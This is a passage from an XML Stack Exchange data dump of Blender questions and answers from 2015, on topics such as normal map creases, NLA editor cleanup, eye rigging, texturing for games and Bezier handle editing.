rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=lY6KPrc4uMw&amp;amp;list=PLda3VoSoc_TR7X7wfblBGiRz-bvhKpGkS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-30T23:34:36.720" LastActivityDate="2015-08-30T23:34:36.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36753" PostTypeId="1" AcceptedAnswerId="36792" CreationDate="2015-08-31T00:01:07.080" Score="0" ViewCount="619" Body="&lt;p&gt;My pebble has small bumps where creases are if the shading is flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xpNdm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xpNdm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is on smooth shading, it has dips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/phHB6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/phHB6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out its only happening when they are on different shading modes (smooth and flat)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it only shows very visible creases when I back away from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Close:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/New4D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/New4D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8EbkP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8EbkP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope someone can help me, thanks again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AIASO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIASO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-08-31T14:32:11.670" LastActivityDate="2015-08-31T15:07:54.843" Title="Normal map bake creases on render" Tags="&lt;modeling&gt;&lt;normals&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36755" PostTypeId="2" ParentId="36605" CreationDate="2015-08-31T03:06:16.200" Score="4" Body="&lt;p&gt;While I would like to make a comprehensive list (in one go), this involves quite some research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please add in the comments if I miss something.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Subframe Supported&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FCurves (and anything they animate)&lt;/li&gt;&#xA;&lt;li&gt;Drivers (including the &lt;code&gt;frame&lt;/code&gt; variable passed into PyDrivers)&lt;/li&gt;&#xA;&lt;li&gt;Shape Keys (Mesh/Lattice/Curve)&lt;/li&gt;&#xA;&lt;li&gt;Shape Keys (Mask)&lt;/li&gt;&#xA;&lt;li&gt;Curve/Path constraint&lt;/li&gt;&#xA;&lt;li&gt;Rigid-body physics&lt;/li&gt;&#xA;&lt;li&gt;Particles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Subframe Unsupported&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Movie/Image sequence&lt;/li&gt;&#xA;&lt;li&gt;Fluid-simulation&lt;/li&gt;&#xA;&lt;li&gt;Smoke-simulation&lt;/li&gt;&#xA;&lt;li&gt;Hair-simulation&lt;/li&gt;&#xA;&lt;li&gt;Cloth-simulation&lt;/li&gt;&#xA;&lt;li&gt;Video Sequencer&lt;br&gt;&lt;em&gt;Note that while its possible to access sub-frames via the Speed-Effect.&lt;br&gt;Exporting subframes from the sequencer it's self is &lt;strong&gt;not&lt;/strong&gt; supported.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases if subframe support isn't working where it should be- this should be reported as a bug.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2015-11-19T07:02:59.607" LastActivityDate="2015-11-19T07:02:59.607" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36757" PostTypeId="1" AcceptedAnswerId="36762" CreationDate="2015-08-31T04:09:56.100" Score="1" ViewCount="557" Body="&lt;p&gt;Don't know what to do with this mess. &lt;a href=&quot;https://i.stack.imgur.com/aQoF4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQoF4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Plane.002 is just a still object in my scene. Don't know how It got an action strip.&#xA;I want to clean up NLA editor and action editor up by removing four actions indicated below. I tried to delete some of the action strips to remove the actions but other action got messed up.&#xA;Not quite understand the NLA editor yet. I'd like some one to clean up NLA and action editor for me and show me how the NLA editor works!&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/450/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=450&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16261" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-08-31T07:04:48.330" Title="NLA editor gets tangled all up in Blender 2.75?" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36759" PostTypeId="1" CreationDate="2015-08-31T06:36:02.157" Score="2" ViewCount="466" Body="&lt;p&gt;I am struggling with setting bones of eyes in a model. I followed some eye riggings tutorials and applied it on my model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can change the direction of eyes with IK's. And when i rotate my model's head, eyes follow the position properly. However when i move another bone like hip bones, eyes moves non-propotional to head. They move fastly. How can I arrange that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what i did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i added two bones to both of eyes. and added their IK's. Then i connected the eyes ('n object mode) to bones (in pose mode) with bone choice. Lastly i connected both bones of eyes to head bone with keeping offset.&lt;/p&gt;&#xA;" OwnerUserId="16475" LastEditorUserId="3078" LastEditDate="2015-12-30T16:06:50.950" LastActivityDate="2015-12-30T16:06:50.950" Title="How can I make an armature for eyes?" Tags="&lt;bones&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36761" PostTypeId="1" CreationDate="2015-08-31T06:43:32.090" Score="5" ViewCount="1226" Body="&lt;p&gt;You can use the particle instance modifier to stretch a mesh object onto a particle hair strand, as discussed here: &lt;a href=&quot;https://blender.stackexchange.com/questions/36232/hook-parent-constrain-to-particle-hair&quot;&gt;Hook/parent/constrain to particle hair?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, every strand within the same system gets the same mesh. I am looking for a way to vary the size of the strands without making multiple particle systems. Is there some way to non-destructively modify or distort the object so that every strand isn't so uniform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Starting bounty. As mentioned in old comment, i'm looking to vary the thickness. The length can be varied within the modifier settings.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2017-08-22T07:06:21.940" LastActivityDate="2018-10-02T14:24:00.203" Title="Vary the size of a particle instanced object" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36762" PostTypeId="2" ParentId="36757" CreationDate="2015-08-31T06:43:36.357" Score="2" Body="&lt;p&gt;The NLA editor is complex I strongly recommend read the documentation. I will show how I cleanup the references to an action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.org/manual/animation/editors/nla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender NLA Doc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to clean up the reference by deleting the tracks (start icon), select the  Plane.002 ActionStrip and the NlaTrack Action and press X to delete it (be sure to only select the ActionStrip and the NLATrack), Repeat the process for Plane.001 and Plane ActionStrip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0ERSP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ERSP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next select the ActionStrip Plane.002 and delete the Action by hold Shift+(press the icon) X. This will delete the reference to the Action. Repeat the same for Plane.001 and Plane ActionStrip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VwLhN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VwLhN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note how Blender will warning you about the 0 references and that the Action will not be saved at the top most bar (or status bar near the windows title) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s2JmL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s2JmL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally save and re-open the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1X7px.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1X7px.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only summarize that you can save an Action an apply that Action to another object Note how I apply Skate -&gt; Skate.001Action ActionStrip to Plane.002 object. The number 2 next to the action indicate that the ActionStrip have two references. the NLA does a lot more things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ReJuu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ReJuu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2015-08-31T07:04:48.330" LastActivityDate="2015-08-31T07:04:48.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36763" PostTypeId="2" ParentId="36751" CreationDate="2015-08-31T07:19:47.900" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;First go to the Edit mode of your Cube and select the vertex you want to snap the pivot to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I0y49.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I0y49.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to open the &lt;em&gt;Snap&lt;/em&gt; menu and select &lt;strong&gt;Cursor to Selected&lt;/strong&gt;.  Now you will see the &lt;em&gt;3D Cursor&lt;/em&gt; appear at the vertex.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RFb5u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RFb5u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After that you have to quit the Edit Mode and go to the Object mode of the Cube, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to open &lt;em&gt;Set Origin&lt;/em&gt; menu and choose &lt;strong&gt;Origin to 3D Cursor&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zvzcJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zvzcJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When thats been done, (still in object mode) press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C &lt;/kbd&gt; to make the &lt;em&gt;3D Cursor&lt;/em&gt; go back on the grid and while your Cube is selected press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and choose the second option &lt;strong&gt;Selection to Cursor&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZFZTT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZFZTT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this will snap your Cube on to the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W25fV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W25fV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-31T07:19:47.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36764" PostTypeId="2" ParentId="36627" CreationDate="2015-08-31T07:25:17.387" Score="0" Body="&lt;p&gt;Ensure that the emitter and all of it's parents have a scale of (1.0, 1.0, 1.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not you might want to apply the current scale to mesh &lt;kbd&gt;Ctrl + A&lt;/kbd&gt;,&lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-31T07:25:17.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36765" PostTypeId="1" CreationDate="2015-08-31T07:26:32.823" Score="2" ViewCount="63" Body="&lt;p&gt;Hear me out. I know there's a &quot;panoramic&quot; mode for cameras now. Thing is, it only works with Cycles. Cycles does not support some things, like particles (halo, line). I need particles, I also need to render an equirectangular render of the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do? Even some mulitple camera setup + external tool would work. Note that I need animations though, an image editor won't do.&lt;/p&gt;&#xA;" OwnerUserId="16748" LastEditorUserId="3078" LastEditDate="2015-08-31T09:13:39.967" LastActivityDate="2015-08-31T09:13:39.967" Title="Is it possible to render an equirectangular image in Blender Internal?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;particles&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-08-31T14:01:29.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="36766" PostTypeId="2" ParentId="36614" CreationDate="2015-08-31T07:48:00.067" Score="1" Body="&lt;p&gt;Cloth is not supported in the BGE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Physics Type Softbody. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pin the softbody with rigid body constraints.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-31T07:48:00.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36768" PostTypeId="2" ParentId="35045" CreationDate="2015-08-31T09:39:47.117" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You should only use as little as possible textures (regarding the number) per object for games. Explanation below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Textures should always be in a power-of-two square size: 512x512, 1024x1024, 2048x2048...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should always aim for a texture resolution as high as possible, downscaling can be done within the game engine via quality settings or as a batch process, e.g. with a free software like &lt;a href=&quot;http://www.irfanview.de/&quot; rel=&quot;nofollow&quot;&gt;Irfanview&lt;/a&gt;. Upscaling is hardly possible. On the other hand, the higher the resolution, the more human resource goes into the creation process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Textures should not only include a diffuse channel, but also normal &amp;amp; bump as well as Ambient Occlusion. (Depending on the game engine even light/shadow maps, reflexion maps etc.) Most game engines will utilize the unused Alpha channel of a texture, so your put your diffuse channel into RGB and the bump map into the Alpha channel, for a smaller number of textures.&#xA;E.g.: &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Diffuse+Bump.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|_RGB = Diffuse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|_Alpha = Bump&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A texture of 2048x2048 for a whole house may work for a game, where the camera is far away, e.g. Anno type games. If you have a first or 3rd-person camera this resolution will be very blurry when getting closer to the house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not possible to cover a large object like a castle with one texture you can use multiple textures. However this shouldn't change your strategy to use as little textures as possible over using small, recyclable textures for multiple objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use single, per-object textures for the following reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Project organization: Handling textures per object is much easier regarding changes, integration and management of your project&lt;/li&gt;&#xA;&lt;li&gt;Game engine integration: Depending on the game engine you may have to assing textures manually to each object&lt;/li&gt;&#xA;&lt;li&gt;Level design &amp;amp; workload: Handling many files is always slower than handling fewer, bigger files. Using multiple-object-textures over different game levels will nullify the advantage of less disc &amp;amp; memory space. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also create a free account on Turbosquid.com and look up their &quot;Game Ready&quot; specification, sadly this document seems not to be available ATM without login in: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.turbosquid.com/entries/171903-Game-Ready-Certification-Specification&quot; rel=&quot;nofollow&quot;&gt;http://support.turbosquid.com/entries/171903-Game-Ready-Certification-Specification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an overview of texturing in Unreal Engine 4:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.unrealengine.com/latest/INT/Engine/Content/Types/Textures/index.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.unrealengine.com/latest/INT/Engine/Content/Types/Textures/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as materials in Unreal Engine 4: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.unrealengine.com/latest/INT/Engine/Rendering/Materials/IntroductionToMaterials/index.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.unrealengine.com/latest/INT/Engine/Rendering/Materials/IntroductionToMaterials/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pay attention to the image under &quot;Material Expression Nodes and Networks&quot; to get an impression how UE4 handles UV's and textures. &lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="8235" LastEditDate="2015-08-31T09:47:39.360" LastActivityDate="2015-08-31T09:47:39.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36769" PostTypeId="1" AcceptedAnswerId="36779" CreationDate="2015-08-31T09:42:00.983" Score="1" ViewCount="1145" Body="&lt;p&gt;As you can see from my model I am very new to blender, but I feel I'm progressing well. But this problem is slowing me down as it's very distracting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a scene with various parts and everything lines up fine  in all modes except Rendered. I have made sure I have deleted all keyframes, and hit ctrl-a to apply LocRotScale where I want it, but as soon as I go to rendered mode or try an actual render, the main cube seems to get smaller so then nothing lines up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched a lot for a solution but only found the obvious answers, which haven't worked for me. I have even remade the cube again but I still get the same problem, which just confused me even more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please cure my noobness??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Here is a link to the blend file. Its more than likely terrible so please don't laugh :) &#xA;&lt;a href=&quot;https://drive.google.com/folderview?id=0B8cLVpkzaATbcDM4YUJhZzFFV28&amp;amp;usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/folderview?id=0B8cLVpkzaATbcDM4YUJhZzFFV28&amp;amp;usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gO7tS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gO7tS.jpg&quot; alt=&quot;How it looks in Rendered View&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16812" LastEditorUserId="16812" LastEditDate="2015-08-31T14:43:57.840" LastActivityDate="2015-08-31T14:43:57.840" Title="Object changing scale in Rendered mode" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36770" PostTypeId="2" ParentId="36746" CreationDate="2015-08-31T10:43:44.673" Score="1" Body="&lt;p&gt;As to your second part, have you looked at RigidBody and RigidBody Contstraints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Physics/Rigid_Bodies&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Physics/Rigid_Bodies&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/physics/rigid_body/constraints.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/physics/rigid_body/constraints.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first part though, I'm very new to blender but I think it would probably be easier to export your models to something like Unity, you could then run clever scripts and colliders etc. to do the detection of areas and move parts accordingly. Although saying that there may well be a way to do it in Blender.&lt;/p&gt;&#xA;" OwnerUserId="16812" LastEditorUserId="16812" LastEditDate="2015-08-31T10:55:01.477" LastActivityDate="2015-08-31T10:55:01.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36771" PostTypeId="1" AcceptedAnswerId="36773" CreationDate="2015-08-31T10:57:05.483" Score="6" ViewCount="6957" Body="&lt;p&gt;I encountered two problems while modeling with Bezier curves in Blender.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I equalize handle lengths? Basically I would like to make the handle A equal B in length, or make handle B equal to A.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hvte5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hvte5.png&quot; alt=&quot;bezier handles&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;How do I maintain constant angle while moving the handle? For example I would like to move the left handle to the left towards the X mark, but following the handle axis. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If it was a vertex on the edge, I would just use GG shortcut (with ALT), to move the vertex along the edge. This shortcut however doesn't work while moving curve handles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vqnfw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqnfw.png&quot; alt=&quot;bezier handles&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2015-08-31T12:25:30.640" Title="Bezier curve handles - precision modeling" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36772" PostTypeId="2" ParentId="36771" CreationDate="2015-08-31T11:06:12.243" Score="3" Body="&lt;p&gt;To equalize the handle tips length, you can set it to &lt;strong&gt;Automatic&lt;/strong&gt; and just after that re-set it to &lt;strong&gt;Aligned&lt;/strong&gt;. To do so, (in edit mode of course) select the handle, hit &lt;kbd&gt;V&lt;/kbd&gt;, and choose the type you want. (You can also access this menu in &lt;em&gt;Curve&lt;/em&gt; menu &gt; &lt;em&gt;Control Points&lt;/em&gt; &gt; &lt;em&gt;Set Handle Type&lt;/em&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U6rVx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6rVx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second question, you can use &lt;kbd&gt;S&lt;/kbd&gt; after selecting one handle tip. This will move it towards, or away from center along the handle.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2015-08-31T11:20:00.780" LastActivityDate="2015-08-31T11:20:00.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36773" PostTypeId="2" ParentId="36771" CreationDate="2015-08-31T11:11:59.777" Score="6" Body="&lt;p&gt;&lt;strong&gt;Re. 1:&lt;/strong&gt; To equalize the handle's lenght (without changing their angles) you may select the whole handle, press &lt;kbd&gt;V&lt;/kbd&gt;&lt;em&gt;--&gt;Set Handle Type--&gt;Free&lt;/em&gt; and enable the &lt;em&gt;Snapping Tool&lt;/em&gt; (press the &lt;em&gt;magnet icon&lt;/em&gt; and change its mode to &lt;em&gt;Vertex&lt;/em&gt;). Rotate the shorter handle tip 180 degrees, then select the longer one and snap it to the shorter. Select the rotated one again and rotate it back to its place (input -180 while rotating).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GOpz9.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GOpz9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Sorry for an odd method to do it but nothing else comes to my mind right now:). The advantage of this method over Polosson's idea is you keep the angles of the handles, while when you change the handle type to &lt;em&gt;Automatic&lt;/em&gt; you don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Re. 2:&lt;/strong&gt; Change the &lt;em&gt;Transform Orientation type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Normal&lt;/em&gt;&lt;/strong&gt; and select the handle you want to move. Press &lt;kbd&gt;G&lt;/kbd&gt; and input the desired axis (remember to press the button, which defines the axis &lt;strong&gt;&lt;em&gt;twice&lt;/em&gt;&lt;/strong&gt; to make a transformation along normal coordinates).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vWjX7.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vWjX7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also just use &lt;em&gt;scaling&lt;/em&gt;. Select desired handle tip and press &lt;kbd&gt;S&lt;/kbd&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5A204.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5A204.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" 